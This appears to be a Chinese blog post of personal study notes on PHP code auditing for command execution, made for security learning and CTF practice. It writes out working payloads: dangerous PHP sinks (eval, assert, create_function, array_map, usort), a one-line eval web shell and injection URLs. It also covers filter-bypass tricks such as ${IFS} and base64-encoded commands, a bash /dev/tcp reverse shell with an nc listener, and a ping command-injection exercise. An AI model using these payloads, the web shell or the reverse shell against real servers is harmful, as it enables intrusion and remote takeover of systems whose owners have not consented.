代码审计——命令执行

前言

最近几天简单复习了代码审计中的命令执行,这篇为自我复现时的一些总结

一、代码执行的几种方式

1、${}执行代码

例:

<?php
${system('whoami')};
${phpinfo()};
?>

在这里插入图片描述

2、eval

例:

<?php
eval('echo "xx";');
echo "<br/>";
eval('system("whoami");');
echo "<br/>";
eval('phpinfo();');
?>

在这里插入图片描述

3、assert

(1)普通调用:

<?php assert($_REQUEST[peak]);?>
利用:
http://x.x.x.x/xx.php?peak=phpinfo();
http://x.x.x.x/xx.php?peak=system('whoami');

在这里插入图片描述

(2)动态调用:php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用

<?php
$a="assert";
$a($_REQUEST[peak]);
?>
利用同上

4、preg_replace

例:

<?php
$a='phpinfo()';  //括号后面的分号可有可无
preg_replace('/ab/e',$a,'abc');
//注意,preg_repalce的第一个参数必须要整体匹配到第三个,才可php执行参数2
?>

在这里插入图片描述

5、create_function()

定义:create_function (string $args,string $code)

$args 变量部分
$code 方法代码部分
这个匿名函数类似于
function xx($args){
$code;
}
xx($args);

注:create_function函数第二个参数只能使用双引号或不使用任何符号,仅变量;第一个参数可使用单双引号,也可以为空,但不能不使用符号;另外,第一个参数使用双引号时,第二个参数不可有双引号

例,一个可以命令执行的代码

$func=create_function('$a',"echo $a");
$func($a);
#上面的匿名函数类似于下面这几行代码:
function xx($a){	//创建一个函数xx
echo $a;			//需要代码块
}
xx($a);				//执行函数

#因为create_function函数的第二个参数是执行代码的
#所以,pyload如下
$a='phpinfo();';
$func=create_function('$a',"echo $a");
$func($a);

对比图:
在这里插入图片描述

在这里插入图片描述

第二幅图,浏览器展示:

在这里插入图片描述
一道CTF题目

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>1)遇到此类题目,可以将create_function函数以下方的形式进行构造payload:
function xx($a){
    $str2;
}2)整体代码就类似于:
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
function xx($a){
    echo .$a.'test'.$id.";";
}
echo "<br/>";
echo "==============================";
?>3)构造payload,进行拼接:?id=2;}phpinfo();/*
#因为$=id=2;}phpinfo();/*
#所以$str2=echo test2;}phpinfo();/*
最后构造的函数如下:
function xx($a){
	echo test2;}phpinfo();/*;
}
?>

闭合function函数,执行phpinfo();

在这里插入图片描述

像?id=2;}eval(system('whoami'));/*可以执行,并且system()后面可以不用分号,用分号反而报错;

但是,一句话木马,url利用时?peak=system('whoami');,后面必须要分号,为啥呢?

我们此时只需要记住,只要是源代码中现写或本来就存在的system语句,eval利用时不需要分号。例如eval(system('whoami'));

反正只要使用GET、POST、REQUEST传参,使用变量利用时需要就需要分号

在这里插入图片描述

6、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组

$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
//payload:?a=assert&b=system('whoami');   //分号可有可无

拼接详解

#payload:?a=assert&b=system('whoami');
$a = $_GET['a'];
//$a=assert
$b = $_GET['b'];
//$b=system('whoami');
$array[0] = $b;
//$array数组的第一个键的值为system('whoami');
$c = array_map($a,$array);
//$c=array_map(assert,$array)
//因为array_map函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,所以,array_map函数将assert函数作用到$array数组中的每个值上,又因为system('whoami');在$array数组中,所以,可以理解为使用assert函数执行$array数组的值并返回结果,这里也就是使用assert函数执行system('whoami');

效果如图:
在这里插入图片描述

7、call_user_func()/call_user_func_array()

1、call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。
function xx($a){
    echo $a;
}
$b=call_user_func ('xx','test');
echo $b;
call_user_func相当于执行参数1的函数,也就是这里的xx,参数2是参数1函数的参数,也就是这里的$a
注,call_user_func函数的参数不加单双引号会报错,但依旧输出结果,可以@不输出报错

在这里插入图片描述
也可以使用系统函数

<?php
@call_user_func(assert,$_REQUEST[peak]);
?>
//payload:?peak=system('whoami');  //最后的分号可有可无

例:
在这里插入图片描述
2、call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr ) : mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入(第二个参数需传入键值),和call_user_func()使用方法类似

也可使用系统函数

<?php
$array[0]=$_GET['peak'];
@call_user_func_array("assert",$array);
?>
//payoad:?peak=system('whoami');

例:
在这里插入图片描述

8、array_filter()

学习这个先要知道&除了是逻辑运算符,还是一个位运算符
例:3&1,就是3和1分别进行二进制的与运算,最后返回的值再转换为10进制
只有当2个数对应的位都为1,该位运算结果为1,否则运算结果为0。即:1&1=1;1&0=0;0&0=0

array_filter (array $array [,callable $callback [,int $flag=0]]):array

array
要循环的数组

callback
使用的回调函数
如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信
息见转换为布尔值。

flag
决定callback接收的参数形式:
ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数
ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值

array_filter() 函数用回调函数过滤数组中的元素。
该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。
在线进制转换:
https://tool.lu/hexconvert/
http://www.txttool.com/wenben_strbinary.asp

<?php
function test_odd($var)
{
return($var & 1);
}

$a1=array("a","b",2,3,4);
print_r(array_filter($a1,"test_odd"));
?>
/*
a的二进制:01100001
1的二进制:00000001
进行与运算的二进制结果:00000001
二进制转10进制结果:1
所以a&1为1,综上,b&1为0,2&1为0,3&1为1,4&1为0
但是他最后输出的却是:Array ( [3] => 3 )
由此可见,大致推断出,php使用&符号进行与运算时,只要有非数字字符串参加,其运算的结果都为0
*/

示例:
在这里插入图片描述

漏洞示例:

$array[0] = $_GET['a'];
array_filter($array,'assert');
//将数组中的每个键值传给回调函数(回调函数就是一种说法,不用管他),也就是assert
//如果回调函数返回true,这里也就是如果assert成功执行,返回true,则把成功的结果返回
//true的原数组的值重新返还到原数组的对应键名下(这边也就是第0位)
//payload:?a=system('whoami');  //分号可有可无

payload示例:
在这里插入图片描述

9、usort()/uasort()

1)定义:
usort() 使用用户自定义的比较函数对数组进行排序
(2)语法:
usort(array,myfunction);
参数			描述
array		必需。规定要排序的数组。
myfunction	可选。一个定义了可调用比较函数的字符串。如果第一个参数 <, =, > 第二个参数,相应地比较函数必须返回一个 <, =, > 0 的整数。

这里你就理解为array的值使用myfunction参数执行
漏洞举例:

<?php
highlight_file(__FILE__);
usort($_GET['id'],'assert');
?>
//payload:id[]=phpinfo()&id[]=xxx
//注:使用该payload需要php版本大于等于7.0.12

在这里插入图片描述

$GET在php5.6中引入了新特性。即可以将数组展开成参数的形式,这是什么意思呢?就是在调用函数的时候,使用…运算符, 将数组和可遍历对象展开为函数参数,在usort中,理解为白话的意思就是,可将传入的array数组,变为myfunction函数的参数。
官方文档可参考:
https://www.php.net/manual/zh/migration56.new-features.php
漏洞举例:

<?php
highlight_file(__FILE__);
usort(...$_GET);
?>
//payload:?1[]=22&1[]=phpinfo();&2=assert
//注;使用该payload,需要php版本为5.6.27
//7.0.12版本payload需要稍作修改:?1[]=phpinfo();&1[]=xx&2=assert
//7.0.12版本往上不可用这些payload

在这里插入图片描述

在这里插入图片描述

那php5.6.27版本以下的怎么用usort,进行命令执行呢?

highlight_file(__FILE__);
usort($_GET,'assert');
//payload:?1=1&2=phpinfo();
//注:这里仅限php5.4.45版本

在这里插入图片描述
注:uasort()用法和usort用法相同,只需要将函数名修改一下即可

二、常见命令执行的函数

1、system()

  • 介绍:执行外部程序,并且显示输出

  • 说明

system( string $command[, int &$return_var] ) : string

同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。
如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。
该函数执行后,直接在终端窗口打印命令执行的结果
如果要获取一个命令未经任何处理的原始输出,请使用 passthru() 函数。

  • 参数
    command
    要执行的命令。
    return_var
    如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中。
  • 返回值
    成功则返回命令输出的最后一行,失败则返回 FALSE
<?php
highlight_file(__FILE__);
echo '<br>';
system('whoami');
?>

在这里插入图片描述

2、passthru()

介绍:执行外部程序并且显示原始输出

  • 说明
passthru( string $command[, int &$return_var] ) : void

同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。通过设置 Content-type 为 image/gif,然后调用 pbmplus 程序输出 gif 文件,就可以从 PHP 脚本中直接输出图像到浏览器。

  • 参数
    command
    要执行的命令。
    return_var
    如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
  • 返回值
    没有返回值。
<?php
highlight_file(__FILE__);
echo '<br>';
passthru('whoami');
?>

在这里插入图片描述

3、exec()

  • 介绍:执行一个外部程序
  • 说明
exec( string $command[, array &$output[, int &$return_var]] ) : string
exec() 执行 command 参数所指定的命令。 
  • 参数
    command
    要执行的命令。
    output
    如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 \n 字符。请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。
    return_var
    如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。
  • 返回值
    命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用 passthru() 函数。
    如果想要获取命令的输出内容,请确保使用 output 参数。
  • 总结:执行系统命令,但它并不会自己输出,需要配合echo/print例:
<?php
header("Content-type: text/html; charset=GBK2312");
highlight_file(__FILE__);
echo '<br>';
echo exec('ipconfig').'<br>';
exec('ipconfig',$out);
var_dump($out);
?>

在这里插入图片描述

4、shell_exec()

  • 介绍:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • 说明
shell_exec( string $cmd) : string
本函数同 执行操作符。 
  • 参数
    cmd
    要执行的命令。
  • 返回值
    命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
  • Note
    当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。如果需要检查进程执行的退出码,请使用 exec() 函数。
  • 总结:该函数也可执行系统命令,同exec()函数一样,需要使用配合echo/print来输出显示内容
<?php
header("Content-type: text/html; charset=GBK2312");
highlight_file(__FILE__);
echo '<br>';
echo shell_exec('ipconfig');
?>

在这里插入图片描述

5、`反引号

与shell_exec函数的功能相同。
shell_exec其实是它的变体,使用方法和shell_exec一样,例:

<?php
header("Content-type: text/html; charset=GBK2312");
highlight_file(__FILE__);
echo '<br>';
echo `whoami`.'<br>';
echo `ipconfig`;
?>

在这里插入图片描述

6、ob_start()

函数格式:ob_start(void)
说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。

php代码使用ob_start,就会打开缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出到浏览器

<?php
header("Content-type: text/html; charset=GBK2312");
highlight_file(__FILE__);
echo '<br>';
ob_start("system");
echo "ipconfig";
//注1:该函数只会返回最后一行数据
//注2:只能使用一次echo语句,使用两个会无法输出
//注3:php版本需要小于等于5.6.27
ob_end_flush();
?>

在这里插入图片描述

三、代码执行绕过姿势

注:
这里的1.txt内容为1
2.txt内容为2
shell.php内容为<?php @eval($_REQUEST['peak']);?>

1、空格

在bash中,可以使用以下字符代替空格
<
${IFS}
$IFS$9
%09

例:

cat<xx.txt
cat${IFS}xx.txt
cat$IFS$9xx.txt

%09是在url中利用
例:假设目标存在一句话,但过滤了空格
一句话:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');
在这里插入图片描述

2、命令终止符

%00
%20#

3、命令分隔符

(1);
在shell中,分号表示连续执行命令
例:

cat 1.txt;cat 2.txt

在这里插入图片描述
(2)&
在Linux中,命令之后加上&,表示该命令以后台方式执行。其中[1]表示后台任务的标识,后面的数字表明后台执行的任务的PID,所以第一个命令在shell中以后台方式运行
例:

cat 1.txt&cat 2.txt

在这里插入图片描述
(3)&&
前面的命令执行成功了,再执行后面的;前面的不成功,不执行后面的
例:

cat 1.txt&&cat 2.txt
cat 3.txt&&cat 2.txt
cat 2.txt&&cat 3.txt

在这里插入图片描述

(4)|
管道符左边命令的输出作为管道符右边命令的输入,因此左边的命令不显示,右边的显示
例:

cat 1.txt|cat 2.txt

在这里插入图片描述
(5)||
前面一个命令执行失败,再执行后面;前面成功,不执行后面
例:

cat 1.txt||cat 3.txt
cat 3.txt||cat 2.txt
cat 1.txt||cat 2.txt

在这里插入图片描述
(6)%0a/%0d
只执行%0a/%0d后面的命令
例:

cat 1.txt%0acat 2.txt
cat 1.txt%0dcat 2.txt

在这里插入图片描述

4、敏感字符绕过(cat)

(1)变量绕过

payload:
http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');

在这里插入图片描述
(2)base64编码绕过

payload:
先在linux中base64编码:
echo 'cat' | base64
输出结果为:Y2F0Cg==
echo "Y2F0Cg==" | base64 -d
输出的结果为:cat
再解码利用(这里输出的cat作为):
http://192.168.100.141/shell.php?peak=system('`echo "Y2F0Cg==" | base64 -d`%09/flag.txt');

在这里插入图片描述
(3)命令后面可以添加未定义的初始化变量执行命令(未定义的初始化变量就是$xx$后面随意值)
例:

cat$xx 1.txt
cat$peak 1.txt

在这里插入图片描述
(4)连接符’’
例:

cat 1.t'x't

在这里插入图片描述
(5)将一个命令结果导入到文件中
例:

示例1:
1>1或a>1	##创建文件名为1的空文件

ls>1		##把ls的内容导入1文件中
			##cat 1可以看到ls的内容,里面的内容默认追加\n
示例2:
cat 2.txt>22;cat 22  //这样也可以看到2.txt的内容

在这里插入图片描述
(6)网络地址转化为数字地址

转换网址:http://www.msxindl.com/tools/ip/ip_num.asp
例:

127.0.0.1转换为2130706433

在这里插入图片描述

5、无回显命令执行

(1)使用延时函数
例:

ls|sleep 5

(2)使用http进行进行连接

  • 在攻击机上执行监听
nc -l -p 9999 -vvv

在这里插入图片描述

  • 在靶机上执行反弹shell
bash -i >& /dev/tcp/192.168.208.146/9999 0>&1

在这里插入图片描述

  • 此时攻击机会获取到目标ip的shell权限
    在这里插入图片描述
例题

目标www目录下有一个peak.php和flag.txt,假设flag.txt无法直接访问

<?php
highlight_file(__FILE__);
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
shell_exec("ping".$ip);
?>

在这里插入图片描述
(1)绕过方法1:使用cp命令将flag.txt复制重命名为22.txt,然后访问22.txt

payload:http://192.168.208.153/peak.php?ping=127.0.0.1;cp flag.txt 22.txt

在这里插入图片描述
在这里插入图片描述

6、无字母命令执行

可以参考:https://blog.csdn.net/qq_41617034/article/details/105251741

参考其他:
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/-mo-/p/11519447.html

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
classcms是一款常见的内容管理系统,其代码审计是对其源代码进行逐行检查和分析的过程。通过代码审计,我们可以评估classcms的安全性和漏洞风险,并提供相应的修复建议。 首先,代码审计可以检查classcms的输入验证和过滤机制是否健全。这包括用户输入的数据是否被适当地过滤和转义,以防止SQL注入、跨站脚本攻击等常见的漏洞。 其次,代码审计可以查看classcms是否存在任何明显的安全漏洞。例如,是否有未经验证的文件上传功能,是否在用户身份验证过程中使用了弱密码加密算法,是否以明文存储敏感信息等。如果发现这些问题,就需要及时修复以提升系统的安全性。 此外,代码审计还可以识别潜在的业务逻辑漏洞。例如,classcms是否存在会话固定、越权访问等安全问题,是否正确实现了用户权限控制,以及用户身份验证是否完整和准确。这些问题的存在可能会导致未授权的用户访问敏感数据或执行特权操作。 最后,代码审计还可以检查classcms是否使用最新的安全修复程序。定期更新classcms以及相关的第三方库和插件是保持系统安全的重要措施之一。通过代码审计,可以排查是否有遗漏的安全补丁,以保障classcms处于一个相对安全的状态。 总之,通过代码审计,我们可以全面了解classcms的安全性,并提供相关的修复建议,以帮助系统管理者和开发者提升classcms的安全性水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值